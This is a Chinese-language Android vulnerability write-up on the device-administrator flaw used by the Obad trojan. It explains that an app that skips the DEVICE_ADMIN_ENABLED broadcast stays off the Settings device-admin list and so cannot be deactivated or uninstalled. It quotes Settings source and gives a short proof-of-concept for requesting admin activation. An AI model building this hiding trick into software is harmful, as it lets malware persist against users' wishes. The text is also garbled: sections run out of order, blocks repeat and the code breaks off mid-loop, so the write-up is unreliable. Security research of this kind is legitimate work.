.......
class PolicyListAdapter extends BaseAdapter {
.......
public void bindView(View view, int position) {
final Activity activity = getActivity();
ViewHolder vh = (ViewHolder) view.getTag();
DeviceAdminInfo item = mAvailableAdmins.get(position);//顯示mAvailableAdmins中數(shù)據(jù)
vh.icon.setImageDrawable(item.loadIcon(activity.getPackageManager()));
vh.name.setText(item.loadLabel(activity.getPackageManager()));
vh.checkbox.setChecked(mActiveAdmins.contains(item.getComponent()));
try {
vh.description.setText(item.loadDescription(activity.getPackageManager()));
} catch (Resources.NotFoundException e) {
}
}
}
}
由Android Settings App源代碼可以看出，如果想在設(shè)備管理器列表中”隱身“，只要不注冊(cè)”android.app.action.DEVICE_ADMIN_ENABLED“廣播就行。
四、POC代碼
AndroidMainfest.xml文件注冊(cè)組件：
一、漏洞描述
目前被稱為“史上最強(qiáng)Android木馬”的病毒Backdoor.AndroidOS.Obad.a利用Android設(shè)備管理器漏洞使用戶無(wú)法通過(guò)正常方式卸載。其實(shí)該漏洞早在去年底已被發(fā)現(xiàn)。（http://safe.ijiami.cn/）
注冊(cè)為“設(shè)備管理器”的應(yīng)用是無(wú)法被直接卸載的。只有取消激活“設(shè)備管理器”后才可以直接卸載。
木馬可以利用Android設(shè)備管理器漏洞達(dá)到在設(shè)備管理器列表“隱身”的效果。這樣用戶就無(wú)法進(jìn)去“取消激活”頁(yè)面，從而達(dá)到無(wú)法卸載的目的。
二、影響版本
Android2.2以上（4.0，4.1，4.2）
三、漏洞原理
首先我們來(lái)看一下Settings app如何形成設(shè)備管理器列表的：
相關(guān)類：
packagesappssettingssrccomandroidsettingsDeviceAdminSettings.java
public class DeviceAdminSettings extends ListFragment {
DevicePolicyManager mDPM;
final HashSet mActiveAdmins = new HashSet();
final ArrayList mAvailableAdmins = new ArrayList();
@Override
public void onResume() {
super.onResume();
updateList();
}
void updateList() {
mActiveAdmins.clear();
List cur = mDPM.getActiveAdmins();
if (cur != null) {
for (int i=0; i avail = getActivity().getPackageManager().queryBroadcastReceivers(
new Intent(DeviceAdminReceiver.ACTION_DEVICE_ADMIN_ENABLED),
PackageManager.GET_META_DATA);//通過(guò)查詢廣播”android.app.action.DEVICE_ADMIN_ENABLED“來(lái)得到可用的設(shè) //備管理器程序列表
int count = avail == null ? 0 : avail.size();
for (int i=0; i
.......
class PolicyListAdapter extends BaseAdapter {
.......
public void bindView(View view, int position) {
final Activity activity = getActivity();
ViewHolder vh = (ViewHolder) view.getTag();
DeviceAdminInfo item = mAvailableAdmins.get(position);//顯示mAvailableAdmins中數(shù)據(jù)
vh.icon.setImageDrawable(item.loadIcon(activity.getPackageManager()));
vh.name.setText(item.loadLabel(activity.getPackageManager()));
vh.checkbox.setChecked(mActiveAdmins.contains(item.getComponent()));
try {
vh.description.setText(item.loadDescription(activity.getPackageManager()));
} catch (Resources.NotFoundException e) {
}
}
}
}
由Android Settings App源代碼可以看出，如果想在設(shè)備管理器列表中”隱身“，只要不注冊(cè)”android.app.action.DEVICE_ADMIN_ENABLED“廣播就行。
四、POC代碼
AndroidMainfest.xml文件注冊(cè)組件：
java代碼注冊(cè)激活設(shè)備管理器：
Intent intent = new Intent(
DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
ComponentName mDeviceComponentName = new ComponentName("packagename","packagename.deviceAdminReceiver");
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,
mDeviceComponentName);
this.startActivity(intent,0);
java代碼注冊(cè)激活設(shè)備管理器：
Intent intent = new Intent(
DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
ComponentName mDeviceComponentName = new ComponentName("packagename","packagename.deviceAdminReceiver");
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,
mDeviceComponentName);
this.startActivity(intent,0);
